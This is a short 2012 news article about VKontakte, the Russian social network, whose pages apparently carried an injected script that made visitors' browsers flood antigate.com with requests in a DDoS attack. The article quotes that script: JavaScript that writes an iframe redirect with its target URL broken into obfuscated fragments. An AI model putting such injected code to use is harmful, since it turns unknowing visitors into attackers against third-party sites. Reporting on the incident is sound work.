Every time a customer would access the site, a malicious script would be loaded

May 3, 2012 07:24 GMT  ·  By

Russian security experts from SecurityLab informed that on April 26 the visitors of the popular Russian social media website VKontakte unwillingly and unknowingly took part in a distributed denial-of-service attack against antigate.com, a site that offers image to text recognition services.

According to the experts, all the pages of the site were altered to host a script designed to send requests to antigate.com on each page load.

The researchers tried to contact VKontakte representatives, but they refused to comment the situation.

However, if we take a close look at the malicious script, hosted on the site’s login page, it appears that this was a cyber-mafia style attack:

function _test () { var fr = utilsNode.appendChild (ce ('iframe')), d = fr.contentWindow.document; d.open (); d.write ('<script> this.location = "http://ant' + ' iga '+' te.com / i '+' n.php? '+' firs '+' t_an '+' d_la '+' st_wa '+' rnin '+' g = o '+' n "; </ sc '+' ript> '); setTimeout (re.pbind (fr), 1000); }

If we consider the fact that vkontakte.ru was visited by 25 million people, from Russia alone, in January 2012, we can only imagine the pounding Antigate took.